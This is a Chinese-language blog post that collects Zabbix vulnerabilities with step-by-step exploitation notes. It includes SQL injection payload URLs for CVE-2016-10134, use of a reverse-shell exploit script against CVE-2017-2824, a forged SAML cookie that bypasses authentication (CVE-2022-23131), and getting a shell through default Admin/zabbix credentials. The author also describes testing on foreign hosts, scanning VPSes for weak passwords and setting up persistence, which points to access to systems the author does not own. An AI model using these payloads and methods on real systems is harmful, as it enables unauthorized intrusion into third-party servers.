前言
Zabbix各版本漏洞汇总,将网上的poc整理然后部分复现笔记记录一下,大佬勿喷,可以直接跳过。
小白可以直接收藏下来学习一下很多poc都直接给出来了,重点看漏洞复现模块,基本就是我的笔记。
如果,有不对的可以指正一下,一起学习,演示地址均为国外地址或者靶场。
Zabbix产品介绍
Zabbix 是由 Alexei Vladishev 开发的一种网络监视、管理系统,基于 Server-Client 架构。可用于监视各种网络服务、服务器和网络机器等状态。本着其开源、安装简单等特点被广泛使用。
Zabbix 由两部分构成,Zabbix Server与可选组件 Zabbix Agent。Zabbix Server 可以通过 SNMP、Zabbix Agent、Ping、端口监视等方法提供对远程服务器/网络状态的监视、数据收集等功能,它可以运行在 Linux、Solaris、HP-UX、AIX、Free BSD、Open BSD、OS X等平台上。

Zabbix SQL注入漏洞 CVE-2016-10134
漏洞描述
zabbix是一款服务器监控软件,其由server、agent、web等模块组成,其中web模块由PHP编写,用来显示数据库中的结果。
影响版本
该漏洞影响以下 未经修复的 Zabbix 版本:
Zabbix 2.2.x系列: 所有低于 2.2.15的版本
Zabbix 3.0.x系列: 所有低于 3.0.3的版本
具体来说:
主要分支 受影响版本 已修复版本 2.2.x 2.2.0, 2.2.1, 2.2.2, 2.2.3, 2.2.4, 2.2.5, 2.2.6, 2.2.7, 2.2.8, 2.2.9, 2.2.10, 2.2.11, 2.2.12, 2.2.13, 2.2.14 2.2.15 3.0.x 3.0.0, 3.0.1, 3.0.2 3.0.3 注意:
Zabbix 1.x 版本已停止维护,且不受此特定漏洞影响(但存在其他众多老旧漏洞)。
Zabbix 3.2.x 及之后的所有新版本在发布时已包含此修复,不受影响。
环境搭建
直接使用vulhub自带的环境搭建即可
docker-compose up -d #执行如下命令启动zabbix 3.0.3执行命令后,将启动数据库(mysql)、zabbix server、zabbix agent、zabbix web。如果内存稍小,可能会存在某个容器挂掉的情况,我们可以通过docker-compose ps查看容器状态,并通过docker-compose start来重新启动容器。当然也可以使用vulfocus进行复现,就不用搭建了

漏洞复现
访问
http://your-ip:8080/index.php
用账号guest
(密码为空)登录游客账户。
登录后,查看Cookie中的zbx_sessionid
,复制后16位字符:
zbx_sessionid=cb4f5e3307ffbca669d1a14be14dc1e0
7c935b31634b5ea6 #将这16个字符作为sid的值
payload
http://123.58.224.8:30323/latest.php?output=ajax&sid=%207c935b31634b5ea6&favobj=toggle&toggle_open_state=1&toggle_ids[]=updatexml(0,concat(0xa,user()),0)
#url替换为目标地址端口
这个漏洞也可通过jsrpc.php触发,且无需登录
在目标zabbix的地址后面加上如下url:
http://123.58.224.8:30323/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get×tamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=2%273297&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1 #url替换为目标地址端口
输出结果,若包含:You have an error in your SQL syntax;表示漏洞存在
可以利用jsrpc的profileIdx2参数sql注入获取用户名和密码,具体操作如下:

zabbix 命令注入 (CVE-2017-2824)/ zabbix 代码执行 (CVE-2020-11800)
漏洞介绍
Zabbix是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案。Zabbix Server 2.4.X 的陷阱命令功能中存在可利用的代码执行漏洞。一组特制的数据包可能会导致命令注入,从而导致远程代码执行。攻击者可以从活动的 Zabbix 代理发出请求来触发此漏洞。
漏洞复现
首先来到vulfocus开启靶场,找到对应版本,我直接使用这个进行复现。
注意看80的映射情况
访问对应的映射端口来到登录页面
弱口令
Admin/zabbix
直接进入后台
按照我的箭头方式进行配置
原理
利用该漏洞,服务端开启了自动注册功能,所以我们先以管理员的身份开启自动注册功能。使用账号密码admin/zabbix登录后台,进入Configuration->Actions,将Event source调整为Auto registration,然后点击Create action,创建一个Action,名字随意:
第三个标签页,创建一个Operation,type是“Add Host”:
保存。这样就开启了自动注册功能,攻击者可以将自己的服务器注册为Agent。
名称随便写一个
之后就可以添加成功
下载脚本
https://github.com/listenquiet/cve-2017-2824-reverse-shell
然后服务器开启监听
没有nc的话,centos7使用
yum install nc #简单下载一下就行systemctl stop firewalld.service
来到下载后的工具处
进入exp.py进行修改
首先先来到环境处确定我的10051被映射到42713
所以先修改发送端口为42713
之后建立连接的时间我这里直接给了10000
然后看自己服务器的ip,记录下来之后在这里进行分段修改,然后保存
工具用法
python exp.py 123.58.224.8 #后面ip替换为目标ip地址
我第一次超时第二次就成功了,不成功可以多试几次
Zabbix SAML身份绕过漏洞 CVE-2022-23131
漏洞介绍
在启用 SAML SSO 身份验证(非默认)的情况下,未经身份验证的攻击者可以通过修改Cookie数据,绕过身份认证获得对 Zabbix 前端的管理员访问权限。
该漏洞存在于index_sso.php文件中,由于index_sso.php文件未调用CEncryptedCookieSession::checkSign()方法对cookie进行校验,且客户端的cookie可被伪造。
从index_sso.php文件中可以看出,当伪造的cookie中存在saml_data时,获取username_attribute的数据,如果该用户真实存在则会生成一个sessionid从而实现身份认证绕过
影响版本
Zabbix 4.0.36
Zabbix 5.4.0
Zabbix 5.4.8
Zabbix 6.0.0alpha1
漏洞复现
检测该漏洞的主要步骤为:
获取 Set-Cookie 数据 zbx_session 参数的值
通过 URL 解码和 Base64 解码获得 zbx_session 参数 json 格式数据
通过在 json 中添加 saml_data 和 username_attribute 参数后重新 Base64 编码和 URL 编码构造 Payload
在请 HTTP 求头中添加构造的 Payload,然后请求 index_sso.php
若 HTTP 响应头中包含 Location 头,说明存在漏洞,可直接进入管理界面
获取 Set-Cookie 数据,通过 URL 解码和 Base64 解码,得到如下数据:
访问地址可以看到这个页面
点击Sign in
下面的Sign in with Single Sign-On (SAML)
使用 Burp 抓包
也可以使用
curl -ksSIL http://url.com
-k --insecure 忽略SSL证书错误
-s --silent 静默模式,不显示进度和统计信息
-S --show-error 在静默模式下仍显示错误
-I --head 只请求HTTP头部信息
-L --location 自动跟随重定向
获取到set-cookie的值,然后先进行url解码,然后再进行base64解码
set-cookie值:

解密之后
{"sessionid":"171b8009284462e1dda802aac899026c","sign":"ty6ReY3T4qTGXzrlxS6fZr54aOzB0paKnoXpad4w0wJsip52viGgw+CRZjyRrAByX99lhM1UGlS8q4p60Jo\/Pg=="}
添加字符串,伪造管理员
"saml_data":{"username_attribute":"Admin",
添加后
{"saml_data":{"username_attribute":"Admin"},"sessionid":"171b8009284462e1dda802aac899026c","sign":"ty6ReY3T4qTGXzrlxS6fZr54aOzB0paKnoXpad4w0wJsip52viGgw+CRZjyRrAByX99lhM1UGlS8q4p60Jo\/Pg=="}
然后使用base64
加密一下

然后替换zbx_session
的值
点击抓包之后替换也可以使用一些浏览器插件进行替换
之后成功来到后台

Zabbix后台Get shell
1. 默认用户名密码登录
Admin / zabbix
也可以爆破弱口令之类的突破
2.进入后点击管理-脚本
老版本
首先来到管理脚本处
点击右边创建脚本或修改已有脚本,写入反弹shell
然后点击检测中-最新数据
收到反弹shell
新版本
直接找一个国外地址测试
弱口令进入后台
来到管理的脚本处,有些版本会在alert的脚本处
也可以直接反弹shell,使用最近很火的cacm做个权限维持,老简单了,搞个国外的vps,测试用,扫了一下,弱口令还是很多很多的。
